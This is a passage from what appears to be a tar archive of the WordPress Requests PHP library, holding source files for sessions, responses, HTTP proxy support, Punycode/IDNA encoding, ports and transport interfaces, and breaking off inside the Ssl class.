CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate { /** * Actual item data * * @var array */ protected $data = []; /** * Creates a case insensitive dictionary. * * @param array $data Dictionary/map to convert to case-insensitive */ public function __construct(array $data = []) { foreach ($data as $offset => $value) { $this->offsetSet($offset, $value); } } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { if (is_string($offset)) { $offset = strtolower($offset); } return isset($this->data[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if the item key doesn't exist) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } $this->data[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { if (is_string($offset)) { $offset = strtolower($offset); } unset($this->data[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->data); } /** * Get the headers as an array * * @return array Header data */ public function getAll() { return $this->data; } } �����������������������������������������������������Requests/src/Session.php����������������������������������������������������������������������������0000644�����������������00000021623�14717703502�0011314 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Session handler for persistent requests and default parameters * * @package Requests\SessionHandler */ namespace WpOrg\Requests; use WpOrg\Requests\Cookie\Jar; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Iri; use WpOrg\Requests\Requests; use WpOrg\Requests\Utility\InputValidator; /** * Session handler for persistent requests and default parameters * * Allows various options to be set as default values, and merges both the * options and URL properties together. A base URL can be set for all requests, * with all subrequests resolved from this. Base options can be set (including * a shared cookie jar), then overridden for individual requests. * * @package Requests\SessionHandler */ class Session { /** * Base URL for requests * * URLs will be made absolute using this as the base * * @var string|null */ public $url = null; /** * Base headers for requests * * @var array */ public $headers = []; /** * Base data for requests * * If both the base data and the per-request data are arrays, the data will * be merged before sending the request. * * @var array */ public $data = []; /** * Base options for requests * * The base options are merged with the per-request data for each request. * The only default option is a shared cookie jar between requests. * * Values here can also be set directly via properties on the Session * object, e.g. `$session->useragent = 'X';` * * @var array */ public $options = []; /** * Create a new session * * @param string|Stringable|null $url Base URL for requests * @param array $headers Default headers for requests * @param array $data Default data for requests * @param array $options Default options for requests * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function __construct($url = null, $headers = [], $data = [], $options = []) { if ($url !== null && InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (is_array($data) === false) { throw InvalidArgument::create(3, '$data', 'array', gettype($data)); } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->url = $url; $this->headers = $headers; $this->data = $data; $this->options = $options; if (empty($this->options['cookies'])) { $this->options['cookies'] = new Jar(); } } /** * Get a property's value * * @param string $name Property name. * @return mixed|null Property value, null if none found */ public function __get($name) { if (isset($this->options[$name])) { return $this->options[$name]; } return null; } /** * Set a property's value * * @param string $name Property name. * @param mixed $value Property value */ public function __set($name, $value) { $this->options[$name] = $value; } /** * Remove a property's value * * @param string $name Property name. */ public function __isset($name) { return isset($this->options[$name]); } /** * Remove a property's value * * @param string $name Property name. */ public function __unset($name) { unset($this->options[$name]); } /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public function get($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::GET, $options); } /** * Send a HEAD request */ public function head($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::HEAD, $options); } /** * Send a DELETE request */ public function delete($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::DELETE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public function post($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::POST, $options); } /** * Send a PUT request */ public function put($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PUT, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public function patch($url, $headers, $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * @see \WpOrg\Requests\Requests::request() * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants) * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()}) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) { $request = $this->merge_request(compact('url', 'headers', 'data', 'options')); return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']); } /** * Send multiple HTTP requests simultaneously * * @see \WpOrg\Requests\Requests::request_multiple() * * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()}) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } foreach ($requests as $key => $request) { $requests[$key] = $this->merge_request($request, false); } $options = array_merge($this->options, $options); // Disallow forcing the type, as that's a per request setting unset($options['type']); return Requests::request_multiple($requests, $options); } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } /** * Merge a request's data with the default data * * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()}) * @param boolean $merge_options Should we merge options as well? * @return array Request data */ protected function merge_request($request, $merge_options = true) { if ($this->url !== null) { $request['url'] = Iri::absolutize($this->url, $request['url']); $request['url'] = $request['url']->uri; } if (empty($request['headers'])) { $request['headers'] = []; } $request['headers'] = array_merge($this->headers, $request['headers']); if (empty($request['data'])) { if (is_array($this->data)) { $request['data'] = $this->data; } } elseif (is_array($request['data']) && is_array($this->data)) { $request['data'] = array_merge($this->data, $request['data']); } if ($merge_options === true) { $request['options'] = array_merge($this->options, $request['options']); // Disallow forcing the type, as that's a per request setting unset($request['options']['type']); } return $request; } } �������������������������������������������������������������������������������������������������������������Requests/src/Capability.php�������������������������������������������������������������������������0000644�����������������00000001214�14717703502�0011744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Capability interface declaring the known capabilities. * * @package Requests\Utilities */ namespace WpOrg\Requests; /** * Capability interface declaring the known capabilities. * * This is used as the authoritative source for which capabilities can be queried. * * @package Requests\Utilities */ interface Capability { /** * Support for SSL. * * @var string */ const SSL = 'ssl'; /** * Collection of all capabilities supported in Requests. * * Note: this does not automatically mean that the capability will be supported for your chosen transport! * * @var string[] */ const ALL = [ self::SSL, ]; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Response.php���������������������������������������������������������������������������0000644�����������������00000010271�14717703502�0011464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP response class * * Contains a response from \WpOrg\Requests\Requests::request() * * @package Requests */ namespace WpOrg\Requests; use WpOrg\Requests\Cookie\Jar; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\Http; use WpOrg\Requests\Response\Headers; /** * HTTP response class * * Contains a response from \WpOrg\Requests\Requests::request() * * @package Requests */ class Response { /** * Response body * * @var string */ public $body = ''; /** * Raw HTTP data from the transport * * @var string */ public $raw = ''; /** * Headers, as an associative array * * @var \WpOrg\Requests\Response\Headers Array-like object representing headers */ public $headers = []; /** * Status code, false if non-blocking * * @var integer|boolean */ public $status_code = false; /** * Protocol version, false if non-blocking * * @var float|boolean */ public $protocol_version = false; /** * Whether the request succeeded or not * * @var boolean */ public $success = false; /** * Number of redirects the request used * * @var integer */ public $redirects = 0; /** * URL requested * * @var string */ public $url = ''; /** * Previous requests (from redirects) * * @var array Array of \WpOrg\Requests\Response objects */ public $history = []; /** * Cookies from the request * * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar */ public $cookies = []; /** * Constructor */ public function __construct() { $this->headers = new Headers(); $this->cookies = new Jar(); } /** * Is the response a redirect? * * @return boolean True if redirect (3xx status), false if not. */ public function is_redirect() { $code = $this->status_code; return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400; } /** * Throws an exception if the request was not successful * * @param boolean $allow_redirects Set to false to throw on a 3xx as well * * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`) * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404}) */ public function throw_for_status($allow_redirects = true) { if ($this->is_redirect()) { if ($allow_redirects !== true) { throw new Exception('Redirection not allowed', 'response.no_redirects', $this); } } elseif (!$this->success) { $exception = Http::get_class($this->status_code); throw new $exception(null, $this); } } /** * JSON decode the response body. * * The method parameters are the same as those for the PHP native `json_decode()` function. * * @link https://php.net/json-decode * * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays; * When `false`, JSON objects will be returned as objects. * When `null`, JSON objects will be returned as associative arrays * or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags. * Defaults to `true` (in contrast to the PHP native default of `null`). * @param int $depth Optional. Maximum nesting depth of the structure being decoded. * Defaults to `512`. * @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE, * JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR. * Defaults to `0` (no options set). * * @return array * * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json. */ public function decode_body($associative = true, $depth = 512, $options = 0) { $data = json_decode($this->body, $associative, $depth, $options); if (json_last_error() !== JSON_ERROR_NONE) { $last_error = json_last_error_msg(); throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this); } return $data; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Proxy/Http.php�������������������������������������������������������������������������0000644�����������������00000010171�14717703502�0011725 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * HTTP Proxy connection interface * * @package Requests\Proxy * @since 1.6 */ namespace WpOrg\Requests\Proxy; use WpOrg\Requests\Exception\ArgumentCount; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Hooks; use WpOrg\Requests\Proxy; /** * HTTP Proxy connection interface * * Provides a handler for connection via an HTTP proxy * * @package Requests\Proxy * @since 1.6 */ final class Http implements Proxy { /** * Proxy host and port * * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128) * * @var string */ public $proxy; /** * Username * * @var string */ public $user; /** * Password * * @var string */ public $pass; /** * Do we need to authenticate? (ie username & password have been provided) * * @var boolean */ public $use_authentication; /** * Constructor * * @since 1.6 * * @param array|string|null $args Proxy as a string or an array of proxy, user and password. * When passed as an array, must have exactly one (proxy) * or three elements (proxy, user, password). * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null. * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`) */ public function __construct($args = null) { if (is_string($args)) { $this->proxy = $args; } elseif (is_array($args)) { if (count($args) === 1) { list($this->proxy) = $args; } elseif (count($args) === 3) { list($this->proxy, $this->user, $this->pass) = $args; $this->use_authentication = true; } else { throw ArgumentCount::create( 'an array with exactly one element or exactly three elements', count($args), 'proxyhttpbadargs' ); } } elseif ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args)); } } /** * Register the necessary callbacks * * @since 1.6 * @see \WpOrg\Requests\Proxy\Http::curl_before_send() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path() * @see \WpOrg\Requests\Proxy\Http::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']); $hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']); if ($this->use_authentication) { $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } } /** * Set cURL parameters before the data is sent * * @since 1.6 * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); curl_setopt($handle, CURLOPT_PROXY, $this->proxy); if ($this->use_authentication) { curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY); curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string()); } } /** * Alter remote socket information before opening socket connection * * @since 1.6 * @param string $remote_socket Socket connection string */ public function fsockopen_remote_socket(&$remote_socket) { $remote_socket = $this->proxy; } /** * Alter remote path before getting stream data * * @since 1.6 * @param string $path Path to send in HTTP request string ("GET ...") * @param string $url Full URL we're requesting */ public function fsockopen_remote_host_path(&$path, $url) { $path = $url; } /** * Add extra headers to the request before sending * * @since 1.6 * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string())); } /** * Get the authentication string (user:pass) * * @since 1.6 * @return string */ public function get_auth_string() { return $this->user . ':' . $this->pass; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/IdnaEncoder.php������������������������������������������������������������������������0000644�����������������00000030223�14717703502�0012040 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Utility\InputValidator; /** * IDNA URL encoder * * Note: Not fully compliant, as nameprep does nothing yet. * * @package Requests\Utilities * * @link https://tools.ietf.org/html/rfc3490 IDNA specification * @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification */ class IdnaEncoder { /** * ACE prefix used for IDNA * * @link https://tools.ietf.org/html/rfc3490#section-5 * @var string */ const ACE_PREFIX = 'xn--'; /** * Maximum length of a IDNA URL in ASCII. * * @see \WpOrg\Requests\IdnaEncoder::to_ascii() * * @since 2.0.0 * * @var int */ const MAX_LENGTH = 64; /**#@+ * Bootstrap constant for Punycode * * @link https://tools.ietf.org/html/rfc3492#section-5 * @var int */ const BOOTSTRAP_BASE = 36; const BOOTSTRAP_TMIN = 1; const BOOTSTRAP_TMAX = 26; const BOOTSTRAP_SKEW = 38; const BOOTSTRAP_DAMP = 700; const BOOTSTRAP_INITIAL_BIAS = 72; const BOOTSTRAP_INITIAL_N = 128; /**#@-*/ /** * Encode a hostname using Punycode * * @param string|Stringable $hostname Hostname * @return string Punycode-encoded hostname * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object. */ public static function encode($hostname) { if (InputValidator::is_string_or_stringable($hostname) === false) { throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname)); } $parts = explode('.', $hostname); foreach ($parts as &$part) { $part = self::to_ascii($part); } return implode('.', $parts); } /** * Convert a UTF-8 text string to an ASCII string using Punycode * * @param string $text ASCII or UTF-8 string (max length 64 characters) * @return string ASCII string * * @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`) * @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`) * @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`) * @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`) */ public static function to_ascii($text) { // Step 1: Check if the text is already ASCII if (self::is_ascii($text)) { // Skip to step 7 if (strlen($text) < self::MAX_LENGTH) { return $text; } throw new Exception('Provided string is too long', 'idna.provided_too_long', $text); } // Step 2: nameprep $text = self::nameprep($text); // Step 3: UseSTD3ASCIIRules is false, continue // Step 4: Check if it's ASCII now if (self::is_ascii($text)) { // Skip to step 7 /* * As the `nameprep()` method returns the original string, this code will never be reached until * that method is properly implemented. */ // @codeCoverageIgnoreStart if (strlen($text) < self::MAX_LENGTH) { return $text; } throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text); // @codeCoverageIgnoreEnd } // Step 5: Check ACE prefix if (strpos($text, self::ACE_PREFIX) === 0) { throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text); } // Step 6: Encode with Punycode $text = self::punycode_encode($text); // Step 7: Prepend ACE prefix $text = self::ACE_PREFIX . $text; // Step 8: Check size if (strlen($text) < self::MAX_LENGTH) { return $text; } throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text); } /** * Check whether a given text string contains only ASCII characters * * @internal (Testing found regex was the fastest implementation) * * @param string $text Text to examine. * @return bool Is the text string ASCII-only? */ protected static function is_ascii($text) { return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1); } /** * Prepare a text string for use as an IDNA name * * @todo Implement this based on RFC 3491 and the newer 5891 * @param string $text Text to prepare. * @return string Prepared string */ protected static function nameprep($text) { return $text; } /** * Convert a UTF-8 string to a UCS-4 codepoint array * * Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding() * * @param string $input Text to convert. * @return array Unicode code points * * @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`) */ protected static function utf8_to_codepoints($input) { $codepoints = []; // Get number of bytes $strlen = strlen($input); // phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice. for ($position = 0; $position < $strlen; $position++) { $value = ord($input[$position]); if ((~$value & 0x80) === 0x80) { // One byte sequence: $character = $value; $length = 1; $remaining = 0; } elseif (($value & 0xE0) === 0xC0) { // Two byte sequence: $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } elseif (($value & 0xF0) === 0xE0) { // Three byte sequence: $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } elseif (($value & 0xF8) === 0xF0) { // Four byte sequence: $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } else { // Invalid byte: throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value); } if ($remaining > 0) { if ($position + $length > $strlen) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } for ($position++; $remaining > 0; $position++) { $value = ord($input[$position]); // If it is invalid, count the sequence as invalid and reprocess the current byte: if (($value & 0xC0) !== 0x80) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } --$remaining; $character |= ($value & 0x3F) << ($remaining * 6); } $position--; } if (// Non-shortest form sequences are invalid $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0x20 || $character > 0x7E && $character < 0xA0 || $character > 0xEFFFD ) ) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } $codepoints[] = $character; } return $codepoints; } /** * RFC3492-compliant encoder * * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code * * @param string $input UTF-8 encoded string to encode * @return string Punycode-encoded string * * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`) */ public static function punycode_encode($input) { $output = ''; // let n = initial_n $n = self::BOOTSTRAP_INITIAL_N; // let delta = 0 $delta = 0; // let bias = initial_bias $bias = self::BOOTSTRAP_INITIAL_BIAS; // let h = b = the number of basic code points in the input $h = 0; $b = 0; // see loop // copy them to the output in order $codepoints = self::utf8_to_codepoints($input); $extended = []; foreach ($codepoints as $char) { if ($char < 128) { // Character is valid ASCII // TODO: this should also check if it's valid for a URL $output .= chr($char); $h++; // Check if the character is non-ASCII, but below initial n // This never occurs for Punycode, so ignore in coverage // @codeCoverageIgnoreStart } elseif ($char < $n) { throw new Exception('Invalid character', 'idna.character_outside_domain', $char); // @codeCoverageIgnoreEnd } else { $extended[$char] = true; } } $extended = array_keys($extended); sort($extended); $b = $h; // [copy them] followed by a delimiter if b > 0 if (strlen($output) > 0) { $output .= '-'; } // {if the input contains a non-basic code point < n then fail} // while h < length(input) do begin $codepointcount = count($codepoints); while ($h < $codepointcount) { // let m = the minimum code point >= n in the input $m = array_shift($extended); //printf('next code point to insert is %s' . PHP_EOL, dechex($m)); // let delta = delta + (m - n) * (h + 1), fail on overflow $delta += ($m - $n) * ($h + 1); // let n = m $n = $m; // for each code point c in the input (in order) do begin for ($num = 0; $num < $codepointcount; $num++) { $c = $codepoints[$num]; // if c < n then increment delta, fail on overflow if ($c < $n) { $delta++; } elseif ($c === $n) { // if c == n then begin // let q = delta $q = $delta; // for k = base to infinity in steps of base do begin for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) { // let t = tmin if k <= bias {+ tmin}, or // tmax if k >= bias + tmax, or k - bias otherwise if ($k <= ($bias + self::BOOTSTRAP_TMIN)) { $t = self::BOOTSTRAP_TMIN; } elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) { $t = self::BOOTSTRAP_TMAX; } else { $t = $k - $bias; } // if q < t then break if ($q < $t) { break; } // output the code point for digit t + ((q - t) mod (base - t)) $digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t))); $output .= self::digit_to_char($digit); // let q = (q - t) div (base - t) $q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t)); } // end // output the code point for digit q $output .= self::digit_to_char($q); // let bias = adapt(delta, h + 1, test h equals b?) $bias = self::adapt($delta, $h + 1, $h === $b); // let delta = 0 $delta = 0; // increment h $h++; } // end } // end // increment delta and n $delta++; $n++; } // end return $output; } /** * Convert a digit to its respective character * * @link https://tools.ietf.org/html/rfc3492#section-5 * * @param int $digit Digit in the range 0-35 * @return string Single character corresponding to digit * * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`) */ protected static function digit_to_char($digit) { // @codeCoverageIgnoreStart // As far as I know, this never happens, but still good to be sure. if ($digit < 0 || $digit > 35) { throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit); } // @codeCoverageIgnoreEnd $digits = 'abcdefghijklmnopqrstuvwxyz0123456789'; return substr($digits, $digit, 1); } /** * Adapt the bias * * @link https://tools.ietf.org/html/rfc3492#section-6.1 * @param int $delta * @param int $numpoints * @param bool $firsttime * @return int|float New bias * * function adapt(delta,numpoints,firsttime): */ protected static function adapt($delta, $numpoints, $firsttime) { // if firsttime then let delta = delta div damp if ($firsttime) { $delta = floor($delta / self::BOOTSTRAP_DAMP); } else { // else let delta = delta div 2 $delta = floor($delta / 2); } // let delta = delta + (delta div numpoints) $delta += floor($delta / $numpoints); // let k = 0 $k = 0; // while delta > ((base - tmin) * tmax) div 2 do begin $max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2); while ($delta > $max) { // let delta = delta div (base - tmin) $delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN)); // let k = k + base $k += self::BOOTSTRAP_BASE; } // end // return k + (((base - tmin + 1) * delta) div (delta + skew)) return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW)); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Port.php�������������������������������������������������������������������������������0000644�����������������00000002741�14717703502�0010615 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Port utilities for Requests * * @package Requests\Utilities * @since 2.0.0 */ namespace WpOrg\Requests; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; /** * Find the correct port depending on the Request type. * * @package Requests\Utilities * @since 2.0.0 */ final class Port { /** * Port to use with Acap requests. * * @var int */ const ACAP = 674; /** * Port to use with Dictionary requests. * * @var int */ const DICT = 2628; /** * Port to use with HTTP requests. * * @var int */ const HTTP = 80; /** * Port to use with HTTP over SSL requests. * * @var int */ const HTTPS = 443; /** * Retrieve the port number to use. * * @param string $type Request type. * The following requests types are supported: * 'acap', 'dict', 'http' and 'https'. * * @return int * * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed. * @throws \WpOrg\Requests\Exception When a non-supported port is requested ('portnotsupported'). */ public static function get($type) { if (!is_string($type)) { throw InvalidArgument::create(1, '$type', 'string', gettype($type)); } $type = strtoupper($type); if (!defined("self::{$type}")) { $message = sprintf('Invalid port type (%s) passed', $type); throw new Exception($message, 'portnotsupported'); } return constant("self::{$type}"); } } �������������������������������Requests/src/Transport.php��������������������������������������������������������������������������0000644�����������������00000003010�14717703502�0011653 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Base HTTP transport * * @package Requests\Transport */ namespace WpOrg\Requests; /** * Base HTTP transport * * @package Requests\Transport */ interface Transport { /** * Perform a request * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return string Raw HTTP result */ public function request($url, $headers = [], $data = [], $options = []); /** * Send multiple requests simultaneously * * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()} * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) */ public function request_multiple($requests, $options); /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Proxy.php������������������������������������������������������������������������������0000644�����������������00000001543�14717703502�0011011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Proxy connection interface * * @package Requests\Proxy * @since 1.6 */ namespace WpOrg\Requests; use WpOrg\Requests\Hooks; /** * Proxy connection interface * * Implement this interface to handle proxy settings and authentication * * Parameters should be passed via the constructor where possible, as this * makes it much easier for users to use your provider. * * @see \WpOrg\Requests\Hooks * * @package Requests\Proxy * @since 1.6 */ interface Proxy { /** * Register hooks as needed * * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user * has set an instance as the 'auth' option. Use this callback to register all the * hooks you'll need. * * @see \WpOrg\Requests\Hooks::register() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks); } �������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Ssl.php��������������������������������������������������������������������������������0000644�����������������00000012461�14717703502�0010432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SSL utilities for Requests * * @package Requests\Utilities */ namespace WpOrg\Requests; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Utility\InputValidator; /** * SSL utilities for Requests * * Collection of utilities for working with and verifying SSL certificates. * * @package Requests\Utilities */ final class Ssl { /** * Verify the certificate against common name and 